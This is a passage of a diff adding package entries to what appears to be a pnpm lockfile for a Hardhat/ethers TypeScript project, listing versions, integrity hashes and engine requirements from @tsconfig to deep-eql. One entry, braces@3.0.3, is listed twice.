+    resolution: {integrity: sha512-DcRjDCujK/kCk/cUe8Xz8ZSpm8mS3mNNpta+jGCA6USEDfktlNvm1+IuZ9eTcDbNk41BHwpHHeW+N1lKCz4zOw==}
+
+  '@tsconfig/node12@1.0.11':
+    resolution: {integrity: sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==}
+
+  '@tsconfig/node14@1.0.3':
+    resolution: {integrity: sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==}
+
+  '@tsconfig/node16@1.0.4':
+    resolution: {integrity: sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==}
+
+  '@typechain/ethers-v6@0.5.1':
+    resolution: {integrity: sha512-F+GklO8jBWlsaVV+9oHaPh5NJdd6rAKN4tklGfInX1Q7h0xPgVLP39Jl3eCulPB5qexI71ZFHwbljx4ZXNfouA==}
+    peerDependencies:
+      ethers: 6.x
+      typechain: ^8.3.2
+      typescript: '>=4.7.0'
+
+  '@typechain/hardhat@9.1.0':
+    resolution: {integrity: sha512-mtaUlzLlkqTlfPwB3FORdejqBskSnh+Jl8AIJGjXNAQfRQ4ofHADPl1+oU7Z3pAJzmZbUXII8MhOLQltcHgKnA==}
+    peerDependencies:
+      '@typechain/ethers-v6': ^0.5.1
+      ethers: ^6.1.0
+      hardhat: ^2.9.9
+      typechain: ^8.3.2
+
+  '@types/bn.js@4.11.6':
+    resolution: {integrity: sha512-pqr857jrp2kPuO9uRjZ3PwnJTjoQy+fcdxvBTvHm6dkmEL9q+hDD/2j/0ELOBPtPnS8LjCX0gI9nbl8lVkadpg==}
+
+  '@types/bn.js@5.1.5':
+    resolution: {integrity: sha512-V46N0zwKRF5Q00AZ6hWtN0T8gGmDUaUzLWQvHFo5yThtVwK/VCenFY3wXVbOvNfajEpsTfQM4IN9k/d6gUVX3A==}
+
+  '@types/chai-as-promised@7.1.8':
+    resolution: {integrity: sha512-ThlRVIJhr69FLlh6IctTXFkmhtP3NpMZ2QGq69StYLyKZFp/HOp1VdKZj7RvfNWYYcJ1xlbLGLLWj1UvP5u/Gw==}
+
+  '@types/chai@4.3.14':
+    resolution: {integrity: sha512-Wj71sXE4Q4AkGdG9Tvq1u/fquNz9EdG4LIJMwVVII7ashjD/8cf8fyIfJAjRr6YcsXnSE8cOGQPq1gqeR8z+3w==}
+
+  '@types/concat-stream@1.6.1':
+    resolution: {integrity: sha512-eHE4cQPoj6ngxBZMvVf6Hw7Mh4jMW4U9lpGmS5GBPB9RYxlFg+CHaVN7ErNY4W9XfLIEn20b4VDYaIrbq0q4uA==}
+
+  '@types/form-data@0.0.33':
+    resolution: {integrity: sha512-8BSvG1kGm83cyJITQMZSulnl6QV8jqAGreJsc5tPu1Jq0vTSOiY/k24Wx82JRpWwZSqrala6sd5rWi6aNXvqcw==}
+
+  '@types/glob@7.2.0':
+    resolution: {integrity: sha512-ZUxbzKl0IfJILTS6t7ip5fQQM/J3TJYubDm3nMbgubNNYS62eXeUpoLUC8/7fJNiFYHTrGPQn7hspDUzIHX3UA==}
+
+  '@types/lru-cache@5.1.1':
+    resolution: {integrity: sha512-ssE3Vlrys7sdIzs5LOxCzTVMsU7i9oa/IaW92wF32JFb3CVczqOkru2xspuKczHEbG3nvmPY7IFqVmGGHdNbYw==}
+
+  '@types/minimatch@5.1.2':
+    resolution: {integrity: sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA==}
+
+  '@types/mocha@10.0.6':
+    resolution: {integrity: sha512-dJvrYWxP/UcXm36Qn36fxhUKu8A/xMRXVT2cliFF1Z7UA9liG5Psj3ezNSZw+5puH2czDXRLcXQxf8JbJt0ejg==}
+
+  '@types/node@10.17.60':
+    resolution: {integrity: sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw==}
+
+  '@types/node@18.15.13':
+    resolution: {integrity: sha512-N+0kuo9KgrUQ1Sn/ifDXsvg0TTleP7rIy4zOBGECxAljqvqfqpTfzx0Q1NUedOixRMBfe2Whhb056a42cWs26Q==}
+
+  '@types/node@20.12.7':
+    resolution: {integrity: sha512-wq0cICSkRLVaf3UGLMGItu/PtdY7oaXaI/RVU+xliKVOtRna3PRY57ZDfztpDL0n11vfymMUnXv8QwYCO7L1wg==}
+
+  '@types/node@8.10.66':
+    resolution: {integrity: sha512-tktOkFUA4kXx2hhhrB8bIFb5TbwzS4uOhKEmwiD+NoiL0qtP2OQ9mFldbgD4dV1djrlBYP6eBuQZiWjuHUpqFw==}
+
+  '@types/pbkdf2@3.1.2':
+    resolution: {integrity: sha512-uRwJqmiXmh9++aSu1VNEn3iIxWOhd8AHXNSdlaLfdAAdSTY9jYVeGWnzejM3dvrkbqE3/hyQkQQ29IFATEGlew==}
+
+  '@types/prettier@2.7.3':
+    resolution: {integrity: sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA==}
+
+  '@types/qs@6.9.15':
+    resolution: {integrity: sha512-uXHQKES6DQKKCLh441Xv/dwxOq1TVS3JPUMlEqoEglvlhR6Mxnlew/Xq/LRVHpLyk7iK3zODe1qYHIMltO7XGg==}
+
+  '@types/secp256k1@4.0.6':
+    resolution: {integrity: sha512-hHxJU6PAEUn0TP4S/ZOzuTUvJWuZ6eIKeNKb5RBpODvSl6hp1Wrw4s7ATY50rklRCScUDpHzVA/DQdSjJ3UoYQ==}
+
+  abbrev@1.0.9:
+    resolution: {integrity: sha512-LEyx4aLEC3x6T0UguF6YILf+ntvmOaWsVfENmIW0E9H09vKlLDGelMjjSm0jkDHALj8A8quZ/HapKNigzwge+Q==}
+
+  acorn-walk@8.3.2:
+    resolution: {integrity: sha512-cjkyv4OtNCIeqhHrfS81QWXoCBPExR/J62oyEqepVw8WaQeSqpW2uhuLPh1m9eWhDuOo/jUXVTlifvesOWp/4A==}
+    engines: {node: '>=0.4.0'}
+
+  acorn@8.11.3:
+    resolution: {integrity: sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==}
+    engines: {node: '>=0.4.0'}
+    hasBin: true
+
+  adm-zip@0.4.16:
+    resolution: {integrity: sha512-TFi4HBKSGfIKsK5YCkKaaFG2m4PEDyViZmEwof3MTIgzimHLto6muaHVpbrljdIvIrFZzEq/p4nafOeLcYegrg==}
+    engines: {node: '>=0.3.0'}
+
+  aes-js@3.0.0:
+    resolution: {integrity: sha512-H7wUZRn8WpTq9jocdxQ2c8x2sKo9ZVmzfRE13GiNJXfp7NcKYEdvl3vspKjXox6RIG2VtaRe4JFvxG4rqp2Zuw==}
+
+  aes-js@4.0.0-beta.5:
+    resolution: {integrity: sha512-G965FqalsNyrPqgEGON7nIx1e/OVENSgiEIzyC63haUMuvNnwIgIjMs52hlTCKhkBny7A2ORNlfY9Zu+jmGk1Q==}
+
+  agent-base@6.0.2:
+    resolution: {integrity: sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==}
+    engines: {node: '>= 6.0.0'}
+
+  aggregate-error@3.1.0:
+    resolution: {integrity: sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==}
+    engines: {node: '>=8'}
+
+  ajv@8.12.0:
+    resolution: {integrity: sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==}
+
+  amdefine@1.0.1:
+    resolution: {integrity: sha512-S2Hw0TtNkMJhIabBwIojKL9YHO5T0n5eNqWJ7Lrlel/zDbftQpxpapi8tZs3X1HWa+u+QeydGmzzNU0m09+Rcg==}
+    engines: {node: '>=0.4.2'}
+
+  ansi-align@3.0.1:
+    resolution: {integrity: sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==}
+
+  ansi-colors@4.1.1:
+    resolution: {integrity: sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==}
+    engines: {node: '>=6'}
+
+  ansi-colors@4.1.3:
+    resolution: {integrity: sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==}
+    engines: {node: '>=6'}
+
+  ansi-escapes@4.3.2:
+    resolution: {integrity: sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==}
+    engines: {node: '>=8'}
+
+  ansi-regex@3.0.1:
+    resolution: {integrity: sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==}
+    engines: {node: '>=4'}
+
+  ansi-regex@5.0.1:
+    resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==}
+    engines: {node: '>=8'}
+
+  ansi-styles@3.2.1:
+    resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==}
+    engines: {node: '>=4'}
+
+  ansi-styles@4.3.0:
+    resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==}
+    engines: {node: '>=8'}
+
+  antlr4ts@0.5.0-alpha.4:
+    resolution: {integrity: sha512-WPQDt1B74OfPv/IMS2ekXAKkTZIHl88uMetg6q3OTqgFxZ/dxDXI0EWLyZid/1Pe6hTftyg5N7gel5wNAGxXyQ==}
+
+  anymatch@3.1.3:
+    resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==}
+    engines: {node: '>= 8'}
+
+  arg@4.1.3:
+    resolution: {integrity: sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==}
+
+  argparse@1.0.10:
+    resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==}
+
+  argparse@2.0.1:
+    resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==}
+
+  array-back@3.1.0:
+    resolution: {integrity: sha512-TkuxA4UCOvxuDK6NZYXCalszEzj+TLszyASooky+i742l9TqsOdYCMJJupxRic61hwquNtppB3hgcuq9SVSH1Q==}
+    engines: {node: '>=6'}
+
+  array-back@4.0.2:
+    resolution: {integrity: sha512-NbdMezxqf94cnNfWLL7V/im0Ub+Anbb0IoZhvzie8+4HJ4nMQuzHuy49FkGYCJK2yAloZ3meiB6AVMClbrI1vg==}
+    engines: {node: '>=8'}
+
+  array-union@2.1.0:
+    resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==}
+    engines: {node: '>=8'}
+
+  array-uniq@1.0.3:
+    resolution: {integrity: sha512-MNha4BWQ6JbwhFhj03YK552f7cb3AzoE8SzeljgChvL1dl3IcvggXVz1DilzySZkCja+CXuZbdW7yATchWn8/Q==}
+    engines: {node: '>=0.10.0'}
+
+  asap@2.0.6:
+    resolution: {integrity: sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==}
+
+  assertion-error@1.1.0:
+    resolution: {integrity: sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==}
+
+  astral-regex@2.0.0:
+    resolution: {integrity: sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==}
+    engines: {node: '>=8'}
+
+  async@1.5.2:
+    resolution: {integrity: sha512-nSVgobk4rv61R9PUSDtYt7mPVB2olxNR5RWJcAsH676/ef11bUZwvu7+RGYrYauVdDPcO519v68wRhXQtxsV9w==}
+
+  asynckit@0.4.0:
+    resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==}
+
+  at-least-node@1.0.0:
+    resolution: {integrity: sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==}
+    engines: {node: '>= 4.0.0'}
+
+  axios@1.7.7:
+    resolution: {integrity: sha512-S4kL7XrjgBmvdGut0sN3yJxqYzrDOnivkBiN0OFs6hLiUam3UPvswUo0kqGyhqUZGEOytHyumEdXsAkgCOUf3Q==}
+
+  balanced-match@1.0.2:
+    resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==}
+
+  base-x@3.0.9:
+    resolution: {integrity: sha512-H7JU6iBHTal1gp56aKoaa//YUxEaAOUiydvrV/pILqIHXTtqxSkATOnDA2u+jZ/61sD+L/412+7kzXRtWukhpQ==}
+
+  bech32@1.1.4:
+    resolution: {integrity: sha512-s0IrSOzLlbvX7yp4WBfPITzpAU8sqQcpsmwXDiKwrG4r491vwCO/XpejasRNl0piBMe/DvP4Tz0mIS/X1DPJBQ==}
+
+  binary-extensions@2.3.0:
+    resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==}
+    engines: {node: '>=8'}
+
+  blakejs@1.2.1:
+    resolution: {integrity: sha512-QXUSXI3QVc/gJME0dBpXrag1kbzOqCjCX8/b54ntNyW6sjtoqxqRk3LTmXzaJoh71zMsDCjM+47jS7XiwN/+fQ==}
+
+  bn.js@4.11.6:
+    resolution: {integrity: sha512-XWwnNNFCuuSQ0m3r3C4LE3EiORltHd9M05pq6FOlVeiophzRbMo50Sbz1ehl8K3Z+jw9+vmgnXefY1hz8X+2wA==}
+
+  bn.js@4.12.0:
+    resolution: {integrity: sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==}
+
+  bn.js@5.2.1:
+    resolution: {integrity: sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==}
+
+  boxen@5.1.2:
+    resolution: {integrity: sha512-9gYgQKXx+1nP8mP7CzFyaUARhg7D3n1dF/FnErWmu9l6JvGpNUN278h0aSb+QjoiKSWG+iZ3uHrcqk0qrY9RQQ==}
+    engines: {node: '>=10'}
+
+  brace-expansion@1.1.11:
+    resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==}
+
+  brace-expansion@2.0.1:
+    resolution: {integrity: sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==}
+
+  braces@3.0.3:
+    resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==}
+    engines: {node: '>=8'}
+
+  braces@3.0.3:
+    resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==}
+    engines: {node: '>=8'}
+
+  brorand@1.1.0:
+    resolution: {integrity: sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w==}
+
+  browser-stdout@1.3.1:
+    resolution: {integrity: sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==}
+
+  browserify-aes@1.2.0:
+    resolution: {integrity: sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==}
+
+  bs58@4.0.1:
+    resolution: {integrity: sha512-Ok3Wdf5vOIlBrgCvTq96gBkJw+JUEzdBgyaza5HLtPm7yTHkjRy8+JzNyHF7BHa0bNWOQIp3m5YF0nnFcOIKLw==}
+
+  bs58check@2.1.2:
+    resolution: {integrity: sha512-0TS1jicxdU09dwJMNZtVAfzPi6Q6QeN0pM1Fkzrjn+XYHvzMKPU3pHVpva+769iNVSfIYWf7LJ6WR+BuuMf8cA==}
+
+  buffer-from@1.1.2:
+    resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==}
+
+  buffer-xor@1.0.3:
+    resolution: {integrity: sha512-571s0T7nZWK6vB67HI5dyUF7wXiNcfaPPPTl6zYCNApANjIvYJTg7hlud/+cJpdAhS7dVzqMLmfhfHR3rAcOjQ==}
+
+  bytes@3.1.2:
+    resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==}
+    engines: {node: '>= 0.8'}
+
+  call-bind@1.0.7:
+    resolution: {integrity: sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==}
+    engines: {node: '>= 0.4'}
+
+  camelcase@6.3.0:
+    resolution: {integrity: sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==}
+    engines: {node: '>=10'}
+
+  caseless@0.12.0:
+    resolution: {integrity: sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==}
+
+  cbor@8.1.0:
+    resolution: {integrity: sha512-DwGjNW9omn6EwP70aXsn7FQJx5kO12tX0bZkaTjzdVFM6/7nhA4t0EENocKGx6D2Bch9PE2KzCUf5SceBdeijg==}
+    engines: {node: '>=12.19'}
+
+  cbor@9.0.2:
+    resolution: {integrity: sha512-JPypkxsB10s9QOWwa6zwPzqE1Md3vqpPc+cai4sAecuCsRyAtAl/pMyhPlMbT/xtPnm2dznJZYRLui57qiRhaQ==}
+    engines: {node: '>=16'}
+
+  chai-as-promised@7.1.1:
+    resolution: {integrity: sha512-azL6xMoi+uxu6z4rhWQ1jbdUhOMhis2PvscD/xjLqNMkv3BPPp2JyyuTHOrf9BOosGpNQ11v6BKv/g57RXbiaA==}
+    peerDependencies:
+      chai: '>= 2.1.2 < 5'
+
+  chai@4.4.1:
+    resolution: {integrity: sha512-13sOfMv2+DWduEU+/xbun3LScLoqN17nBeTLUsmDfKdoiC1fr0n9PU4guu4AhRcOVFk/sW8LyZWHuhWtQZiF+g==}
+    engines: {node: '>=4'}
+
+  chalk@2.4.2:
+    resolution: {integrity: sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==}
+    engines: {node: '>=4'}
+
+  chalk@4.1.2:
+    resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==}
+    engines: {node: '>=10'}
+
+  charenc@0.0.2:
+    resolution: {integrity: sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA==}
+
+  check-error@1.0.3:
+    resolution: {integrity: sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg==}
+
+  chokidar@3.5.3:
+    resolution: {integrity: sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==}
+    engines: {node: '>= 8.10.0'}
+
+  chokidar@3.6.0:
+    resolution: {integrity: sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==}
+    engines: {node: '>= 8.10.0'}
+
+  ci-info@2.0.0:
+    resolution: {integrity: sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==}
+
+  cipher-base@1.0.4:
+    resolution: {integrity: sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==}
+
+  clean-stack@2.2.0:
+    resolution: {integrity: sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==}
+    engines: {node: '>=6'}
+
+  cli-boxes@2.2.1:
+    resolution: {integrity: sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==}
+    engines: {node: '>=6'}
+
+  cli-table3@0.5.1:
+    resolution: {integrity: sha512-7Qg2Jrep1S/+Q3EceiZtQcDPWxhAvBw+ERf1162v4sikJrvojMHFqXt8QIVha8UlH9rgU0BeWPytZ9/TzYqlUw==}
+    engines: {node: '>=6'}
+
+  cliui@7.0.4:
+    resolution: {integrity: sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==}
+
+  color-convert@1.9.3:
+    resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==}
+
+  color-convert@2.0.1:
+    resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==}
+    engines: {node: '>=7.0.0'}
+
+  color-name@1.1.3:
+    resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==}
+
+  color-name@1.1.4:
+    resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==}
+
+  colors@1.4.0:
+    resolution: {integrity: sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==}
+    engines: {node: '>=0.1.90'}
+
+  combined-stream@1.0.8:
+    resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==}
+    engines: {node: '>= 0.8'}
+
+  command-exists@1.2.9:
+    resolution: {integrity: sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==}
+
+  command-line-args@5.2.1:
+    resolution: {integrity: sha512-H4UfQhZyakIjC74I9d34fGYDwk3XpSr17QhEd0Q3I9Xq1CETHo4Hcuo87WyWHpAF1aSLjLRf5lD9ZGX2qStUvg==}
+    engines: {node: '>=4.0.0'}
+
+  command-line-usage@6.1.3:
+    resolution: {integrity: sha512-sH5ZSPr+7UStsloltmDh7Ce5fb8XPlHyoPzTpyyMuYCtervL65+ubVZ6Q61cFtFl62UyJlc8/JwERRbAFPUqgw==}
+    engines: {node: '>=8.0.0'}
+
+  commander@3.0.2:
+    resolution: {integrity: sha512-Gar0ASD4BDyKC4hl4DwHqDrmvjoxWKZigVnAbn5H1owvm4CxCPdb0HQDehwNYMJpla5+M2tPmPARzhtYuwpHow==}
+
+  concat-map@0.0.1:
+    resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==}
+
+  concat-stream@1.6.2:
+    resolution: {integrity: sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==}
+    engines: {'0': node >= 0.8}
+
+  cookie@0.4.2:
+    resolution: {integrity: sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==}
+    engines: {node: '>= 0.6'}
+
+  core-util-is@1.0.3:
+    resolution: {integrity: sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==}
+
+  create-hash@1.2.0:
+    resolution: {integrity: sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==}
+
+  create-hmac@1.1.7:
+    resolution: {integrity: sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==}
+
+  create-require@1.1.1:
+    resolution: {integrity: sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==}
+
+  crypt@0.0.2:
+    resolution: {integrity: sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow==}
+
+  death@1.1.0:
+    resolution: {integrity: sha512-vsV6S4KVHvTGxbEcij7hkWRv0It+sGGWVOM67dQde/o5Xjnr+KmLjxWJii2uEObIrt1CcM9w0Yaovx+iOlIL+w==}
+
+  debug@4.3.4:
+    resolution: {integrity: sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==}
+    engines: {node: '>=6.0'}
+    peerDependencies:
+      supports-color: '*'
+    peerDependenciesMeta:
+      supports-color:
+        optional: true
+
+  decamelize@4.0.0:
+    resolution: {integrity: sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==}
+    engines: {node: '>=10'}
+
+  deep-eql@4.1.3:
